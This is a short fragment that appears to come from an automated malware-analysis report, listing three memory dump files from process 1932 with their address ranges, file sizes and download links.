memory/1932-79-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/1932-78-0x0000000000400000-0x000000000069B000-memory.dmp

Filesize
2.6MB

Download
memory/1932-73-0x0000000000280000-0x0000000000380000-memory.dmp

Filesize
1024KB

Download